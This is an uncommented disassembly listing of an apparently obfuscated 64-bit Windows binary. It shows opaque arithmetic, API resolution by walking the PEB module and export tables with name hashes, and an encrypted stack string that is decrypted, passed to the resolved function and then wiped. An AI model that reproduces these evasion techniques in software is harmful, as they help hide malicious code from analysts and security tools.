lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x8f478bfc0111ea36
sub rdi, rsi
shr rdi, cl
movabs rcx, 0x2c01f44f18f5767d
add rcx, r12
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r15
xor rdi, rax
jmp 0x14000755c
movabs rcx, 0xaaaaaa1aa8676027
mov r11, r9
xor r11, rcx
movabs rcx, 0x1206ed6a6abc6b
imul r11, rcx
movabs rcx, 0xffff7e8a8e7752fb
imul r12, rcx
movabs rcx, 0xe9362735b4058a5b
add r11, rcx
add r11, r12
movabs rax, 0x277cd7be7ab7b747
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r11
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffffd32b6f7
lea ecx, [r9 - 0x1b]
and cl, 0x3f
rol r8, cl
movabs rax, 0x7c52440600000000
imul r8, rax
mov rcx, r8
ror rcx, 0x34
not rcx
movabs rax, 0x9b2de6b2d56cd580
imul rcx, rax
mov rax, r11
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r15b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x14000755c
movabs rax, 0x95f53776578930cb
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x68e928e3f6b620f1
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r14d, 0x8000003f
jge 0x140007435
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r10, cl
movabs rcx, 0x2bf9cfc6bdfa88a7
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff03942057759
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f4a3160a
or r10, rax
mov rdi, qword [0x140301070]
imul rdi, rsi
sub rdi, r8
mov rax, r15
sub rax, r10
xor rdi, rax
movabs rax, 0xc7a7c6a6a5ab1607
xor rdi, rax
mov rax, r9
imul rax, r8
imul rax, rdi
mov rbx, r11
sub rbx, rax
movabs rax, 0x78958946af95a1d
add rbx, rax
xor rbx, r15
movzx eax, r11b
imul ecx, eax, 0xe2
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x14000755c
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, r13
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 6
imul r10, r8
mov rbx, r15
not rbx
imul rbx, r11
movabs rax, 0x7cd8a7de785a47e6
imul rbx, rax
imul r14, r13, 0xfffffffffa282098
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140007549
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs r15, 0x2bf9cfc6bdfa88a7
add r15, r14
add r15, r12
movabs rax, 0xff055d7b88114d2b
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rbx
lea rax, [0x140301060]
imul r10, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r15
imul r8, rdi
movabs rcx, 0xf5ed7e878fa207f7
xor rcx, r11
not rcx
xor rcx, r8
sub rcx, r10
call fcn.1400012d0
mov qword [0x14030af60], rax
xor ebx, ebx
mov r14d, 0xfbdad62
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r13d, 0xd7453072
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14000763a
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, r13d
jmp 0x14000762c
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x14000760c
cmp r9d, ebx
jne 0x140007746
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140007746
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x140007746
mov r12d, dword [r11 + 0x20]
dec edi
lea rdx, [r9 + rdi*4]
mov r10d, dword [rdx + r12]
add r10, r9
mov esi, r13d
jmp 0x14000769c
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, 0x4764996c
xor r8d, esi
mov esi, edx
imul esi, r8d
mov dl, byte [r10]
inc r10
test dl, dl
jne 0x14000767f
cmp esi, r14d
je 0x1400076b4
test edi, edi
jne 0x14000766d
jmp 0x140007746
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + rdi*2]
mov r15d, dword [rdx + rax*4]
add r15, r9
mov qword [rsp + 0x30], r15
cmp r15, r11
jbe 0x14000774e
lea rax, [r11 + rcx]
cmp r15, rax
jae 0x14000774e
mov ebx, r13d
mov r14d, r13d
jmp 0x140007705
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, ebx
xor eax, ecx
mov ebx, edx
imul ebx, eax
inc r15
mov al, byte [r15]
cmp al, 0x2e
jne 0x1400076e8
jmp 0x14000772b
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, r14d
xor eax, ecx
mov r14d, edx
imul r14d, eax
inc r15
mov al, byte [r15]
test al, al
jne 0x14000770e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400075e3
movdqa xmm0, xmmword [0x1402db550]
movdqu xmmword [rbp - 0x28], xmm0
movdqa xmm1, xmmword [0x1402db540]
movdqu xmmword [rbp - 0x18], xmm1
mov word [rbp - 8], 0xf57f
xor r12d, r12d
mov r13, qword [0x140301040]
movabs r15, 0x13cce94adbcd969a
xor edx, edx
mov rax, r12
div r15
add dl, 0x35
mov r14b, dl
sar r14b, 7
or r14b, dl
mov al, r14b
sar al, 2
mov sil, r14b
shl sil, 6
mov r11b, sil
or r11b, al
movsx rcx, r14b
or sil, al
mov r9b, r14b
sar r9b, 5
mov al, r14b
shl al, 3
or r9b, al
mov r10b, r14b
sar r10b, 3
mov al, r14b
shl al, 5
or r10b, al
mov r8b, r14b
sar r8b, 4
mov al, r14b
shl al, 4
or r8b, al
mov bl, r14b
not bl
mov dil, r14b
ror dil, 7
lea eax, [r10 - 0x50]
add dil, al
mov dl, byte [rbp + r12 - 0x28]
sub dl, r11b
sub dl, 2
mov eax, 4
sub al, sil
xor dl, al
sar rcx, 1
mov al, r14b
shl al, 7
or cl, al
sub dl, cl
sub dl, byte [0x140301050]
sub dl, byte [0x140301058]
sub dl, 0x3f
add dl, sil
add dl, r14b
lea eax, [r11 + 7]
add al, r14b
xor dl, al
sub dl, byte [0x140301048]
sub dl, r9b
sub dl, r14b
sub dl, 0x50
add dl, r13b
add dl, sil
mov al, r8b
sub al, r9b
add al, r11b
add al, r14b
xor dl, al
mov al, r14b
sub al, r8b
xor al, r14b
sub dl, al
sub dl, r10b
add dl, 0x30
add dl, r14b
xor dil, dl
mov al, r14b
add al, al
sub dil, al
add sil, sil
add dil, 0x51
add dil, sil
add dil, r13b
not dil
mov al, r14b
sar al, 7
or al, r14b
sub dil, al
mov al, byte [0x140301038]
xor al, bl
sub dil, al
mov al, r14b
xor al, 0x40
sub dil, al
mov al, byte [0x140301030]
xor al, r14b
add dil, al
movsx eax, r14b
movsx ecx, bl
imul ecx, eax
xor dil, cl
mov byte [rbp + r12 - 0x28], dil
inc r12
cmp r12, 0x22
jb 0x140007782
lea rax, [rbp - 0x28]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0x22
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
mov r8d, 0x30
lea rdx, [0x1402db4a0]
lea rcx, [0x140301030]
mov r15, qword [rsp + 0x30]
call r15
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140007936
xor eax, eax
cmp qword [rsp + 0x68], rax
jbe 0x140007936
mov byte [rax + rcx], 0
inc rax
cmp rax, qword [rsp + 0x68]
jae 0x140007936
mov rcx, qword [rsp + 0x60]
jmp 0x140007921
movabs rsi, 0x1d0fc72dbd145aad
movabs rax, 0x838bc00000000000
movabs r14, 0xb78ab2c7ef6a8f2c
mov rdi, qword [0x140301070]
imul rdi, rax
movabs rax, 0x6f41b00000000000
xor rdi, rax
mov r12, rdi
imul r12, rsi
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul r12
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r12
sub rcx, rax
mov r8, rdi
and r8, rsi
lea r13, [0x140301060]
imul r8, qword [r13 + rcx*8]
movabs rax, 0xca1fdc441257f430
imul r8, rax
shr r8, 3
movabs rax, 0xbab5dfa47e0c45e9
xor r8, rax
movabs rax, 0xffffff57ca9a8537
mov rbx, rdi
imul rbx, rax
sub rbx, 0x25cb25c
xor rbx, r8
xor rbx, qword [0x140301060]
mov rax, r8
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc3293a16
imul rax, rcx
not rax
and rbx, rax
ror rbx, 0xa
shr rbx, 8
movabs r9, 0xe2f038d242eba553
lea rcx, [rdi + r9]
xor rcx, 0xfffffffffda7311b
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xe01dbdce1183a268
mov r11, qword [r13 + rcx*8]
imul r11, rax
add r11, rsi
movabs rcx, 0xa63f682bb320e2f0
mov rax, r8
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov r15, r11
xor r15, rdi
lea rcx, [r11 + r9]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [r13 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 7
and ecx, 0x8000003f
jge 0x140007aa9
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul r13, r15, 0xfffffffffda34da4
lea r10, [r9 + r13]
mov r9, r11
imul r9, rbx
sub r9, r10
xor r9, r14
mov cl, r10b
xor cl, 0xf8
and cl, 0xf
rol r9, cl
movabs rax, 0xa5ec8211f5771fd4
imul r15, rax
movabs rax, 0x7c0de653bd2618e9
sub r15, rax
xor r9, r15
mov rax, r10
sub rax, qword [0x140301078]
xor r9, rax
xor r9, r8
xor r9, rdi
mov rax, r9
and eax, 1
je 0x140007e48
sub rax, 1
je 0x140007d17
sub rax, 1
je 0x140007c23
cmp rax, 1
jne 0x140007ef9
mov r14, r10
imul r14, r11
movabs rax, 0x57ccffe66aebc5d5
add rax, r9
xor r14, rax
ror r14, 0x30
shr r14, 0xc
xor r14, rdi
not r14
movabs rcx, 0x835721d83414
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xe272bdaa2828b1c5
xor rdx, rax
movzx eax, r9b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97938d8ef
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rsi
mov eax, 0xa8e30a05
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x140301060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0x6bcc4e7b0cdc500a
sub rsi, r14
shr rsi, cl
movabs rcx, 0xe2f85d5a9d53201d
add rcx, r13
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rbx
xor rsi, rax
jmp 0x140007ef9
movabs rax, 0xaaaaaa1aa8faf73b
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed6af72b77
imul rcx, rax
movabs rdx, 0xfff17ca87f98c147
mov rax, r8
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8eeac5e7
imul r13, rax
movabs r11, 0x9cdf6b9b6fa3d2cc
add r11, rcx
add r11, r13
movabs rax, 0x277cd7be7a2a205b
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, r11
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffffdaf21eb
lea ecx, [r9 - 7]
and cl, 0x3f
rol r10, cl
movabs rax, 0x122c0200000000
xor r12, rax
movabs rax, 0x7c7a7dc694a82b5a
and r12, rax
imul r10, r12
mov rcx, r10
ror rcx, 0xa
not rcx
movabs rax, 0x9b2de6b2d71a89f0
imul rcx, rax
mov rax, r11
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, bl
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140007ef9
movabs rax, 0x99e30b0366838c21
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0xe2f038d242eba552
mov rax, rdi
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, r10b
and cl, 0x3f
rol r8, cl
movabs rcx, 0xe2f038d242eba553
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x72dbd145aad
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7f43e8116
or r8, rax
mov rsi, qword [0x140301070]
imul rsi, r14
sub rsi, r10
mov rax, rbx
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6a536811b
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul rdi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rdi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, r10
imul rdx, rsi
shr rdx, cl
mov rax, r11
sub rax, rdx
sub rax, rdi
movabs rdi, 0x78958946a64cd01
add rdi, rax
xor rdi, rbx
movzx eax, r11b
imul ecx, eax, 0xfe
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140007ef9
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r10
not rbx
imul rbx, r11
movabs rax, 0x7cd8a7de78c7d0fa
imul rbx, rax
mov rax, r8
imul rax, rdi
mov rdi, rbx
xor rdi, rax
imul rbx, qword [0x140301060], 0xfffffffffda34da4
mov rdx, qword [0x140301068]
sub rbx, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140007ee6
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
movabs rax, 0xe2f038d242eba553
add rbx, rax
add rbx, r13
movabs rax, 0xff055d7b888cda37
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, rdi
lea rax, [0x140301060]
imul r8, qword [rax + r14*8]
not r10
imul r10, r9
imul r10, rbx
imul r10, rsi
movabs rcx, 0xf5ed7e878f3f90eb
xor rcx, r11
not rcx
xor rcx, r10
sub rcx, r8
call fcn.140001120
mov qword [0x14030af30], rax
movabs rsi, 0xa7a750b7b59c342a
movabs rbx, 0x29cf03628e423da9
xor edi, edi
movabs rax, 0xdf9d9d0f508b2002
movabs r11, 0x4837730dd291abd9
mov r13, qword [0x140301070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0xb7c88cf220cfd085
mov r12, qword [0x140301060]
mov rax, r12
xor rax, rcx
and r14, rax
ror r14, 0xa
shr r14, 8
movabs rax, 0x300799154ff5b728
mov r10, r12
imul r10, rax
add r10, rbx
movabs rax, 0x534378b500000000
xor r10, rax
shr r10, 0x1f
not r10
movabs r8, 0xd630fc9d71bdc257
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xc3
and ecx, 0x8000003f
jge 0x140008039
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0x15c4573ae59904fc
mov r15, rdx
imul r15, rax
add r8, r15
mov r9, r10
imul r9, r14
sub r9, r8
xor r9, rsi
mov cl, r8b
xor cl, 0xfc
and cl, 0xf
rol r9, cl
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
movabs rax, 0x63578d46192c565c
imul rdx, rax
movabs rax, 0x5f7b4710aa02066f
add rdx, rax
xor r9, rdx
xor r9, r11
mov rax, r9
and eax, 1
je 0x140008379
sub rax, 1
je 0x140008289
sub rax, 1
je 0x1400081b7
cmp rax, 1
jne 0x1400083f4
mov rsi, r8
imul rsi, r10
movabs rax, 0x7736cc38f8cac795
add rax, r9
xor rsi, rax
ror rsi, 0x30
shr rsi, 0xc
not rsi
movabs rcx, 0x8357256d66d8
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xd6b279e51fcb8405
xor rdx, rax
movzx eax, sil
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d8d8a2b
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rbx
mov eax, 0xac5658c1
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x2e4e86333bf51b46
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xd6392125d08fea65
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x1400083f4
movabs rcx, 0xaaaaaa1aac4fa5ff
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed6e4279b3
imul r10, rcx
movabs rcx, 0xffff7e8a8a5f9723
imul r15, rcx
movabs rcx, 0x744eb965f7f41ae
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be7e9f729f
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffff91a732f
lea ecx, [r9 - 3]
and cl, 0x3f
rol r8, cl
movabs rax, 0x848794280000000
imul r8, rax
mov rcx, r8
ror rcx, 8
not rcx
movabs rax, 0x9b2de6b2c5cfc2e0
imul rcx, rax
mov rax, r10
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x1400083f4
movabs rax, 0xe445e3fc11ad7e53
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x5858af484a63cbd5
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
and cl, 0x3f
rol r11, cl
movabs rcx, 0xd630fc9d71bdc257
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x3628e423da9
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f08bd3d2
or r11, rax
mov rbx, r13
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6a183d3df
xor rbx, rax
mov rax, r9
imul rax, r8
imul rax, rbx
mov rdi, r10
sub rdi, rax
movabs rax, 0x78958946ed19fc5
add rdi, rax
xor rdi, r14
movzx eax, r10b
imul ecx, eax, 0xfa
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x1400083f4
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, qword [0x140301088]
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x19
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de7c72823e
imul rdi, rax
imul r14, r12, 0xfffffffff25e7b5c
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400083e1
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xd630fc9d71bdc257
add r14, rax
add r14, r15
movabs rax, 0xff055d7b8c3988f3
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x140301060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e878b8ac22f
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.1400012f4
mov qword [0x14030af60], rax
movabs rsi, 0xfd4d6efb7c5894bc
movabs rdi, 0xbb5316c8f27e93bf
xor ebx, ebx
movabs rax, 0xc8ab4ee7c7ac6948
movabs r10, 0xd3f33d411340af2e
mov r13, qword [0x140301070]
mov r15, r13
imul r15, rax
not r15
movabs rdx, 0x2c0cc2bee226d39c
mov rax, qword [0x140301060]
xor rax, rdx
and r15, rax
ror r15, 0x32
shr r15, 8
movabs rax, 0x7b4b0063614a7098
mov r11, qword [0x140301060]
imul r11, rax
movabs r8, 0x44ace9370d816c41
sub r11, r8
movabs rax, 0x664703c280000000
xor r11, rax
shr r11, 0x1f
not r11
lea rcx, [r11 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xed
and ecx, 0x8000003f
jge 0x140008535
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r11
ror rdx, cl
not rdx
movabs rax, 0xc898fe14d22815fc
mov r12, rdx
imul r12, rax
lea r9, [r12 + r8]
mov r8, r11
imul r8, r15
sub r8, r9
xor r8, rsi
movzx r14d, r9b
mov ecx, r14d
xor ecx, 2
and ecx, 0xf
jge 0x140008576
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, r9
sub rax, qword [0x140301078]
xor r8, rax
movabs rax, 0x16ddaf98da901b04
imul rdx, rax
movabs rax, 0x64b93c5ae148e881
sub rdx, rax
xor r8, rdx
xor r8, r10
mov rax, r8
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x14000889a
sub rax, 1
je 0x140008797
sub rax, 1
je 0x1400086c5
cmp rax, 1
jne 0x140008914
mov rsi, r9
imul rsi, r11
movabs rax, 0xd2d269c67e78791d
add rax, r8
xor rsi, rax
ror rsi, 0xa
shr rsi, 0xc
not rsi
movabs rcx, 0x8357256e6afa
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x442e6c4f63f4263d
xor rdx, rax
movzx eax, r8b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d8e8605
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xac5554ef
add rcx, rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x7ee77928adf543b8
sub rdi, rsi
shr rdi, cl
movabs rcx, 0x44b50dbf6c529065
add rcx, r12
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, r15
xor rdi, rax
jmp 0x140008914
movabs rcx, 0xaaaaaa1aac4ca9d1
mov r11, r8
xor r11, rcx
movabs rcx, 0x1206ed6e41759d
imul r11, rcx
movabs rcx, 0xffff7e8a8a5c9b0d
imul r12, rcx
movabs rcx, 0xdd561821f6844d7
add r11, rcx
add r11, r12
movabs rax, 0x277cd7be7e9c7eb1
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
not r9
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff9197f01
lea ecx, [r8 + 0x13]
and cl, 0x3f
rol r9, cl
movabs rax, 0x10706d4000000000
imul r9, rax
mov rcx, r9
ror rcx, 0x30
not rcx
movabs rax, 0x9b2de6b2c5c3f258
imul rcx, rax
mov rax, r11
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r15b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140008914
movabs rax, 0x32ad3f017507ae61
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x2b2910483a76b43
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r14d, 0x8000003f
jge 0x1400087ea
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r10, cl
movabs rcx, 0x44ace9370d816c41
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x16c8f27e93bf
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f088dffc
or r10, rax
mov rdi, r13
imul rdi, rsi
sub rdi, r9
mov rax, r15
sub rax, r10
xor rdi, rax
movabs rax, 0xc7a7c6a6a180dff1
xor rdi, rax
mov rax, r8
imul rax, r9
imul rax, rdi
mov rbx, r11
sub rbx, rax
movabs rax, 0x78958946ed293eb
add rbx, rax
xor rbx, r15
mov al, r11b
shl al, 2
lea ecx, [rax + r11]
shl cl, 2
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140008914
mov rcx, r8
imul rcx, qword [0x140301080]
and rcx, r13
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0x2e
imul r10, r9
mov rbx, r15
not rbx
imul rbx, r11
movabs rax, 0x7cd8a7de7c718e10
imul rbx, rax
imul r14, qword [0x140301060], 0xfffffffff1667cb2
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140008901
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs r15, 0x44ace9370d816c41
add r15, r14
add r15, r12
movabs rax, 0xff055d7b8c3a84dd
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rbx
lea rax, [0x140301060]
imul r10, qword [rax + rsi*8]
not r9
imul r9, r8
imul r9, r15
imul r9, rdi
movabs rcx, 0xf5ed7e878b89ce01
xor rcx, r11
not rcx
xor rcx, r9
sub rcx, r10
call fcn.14000121c
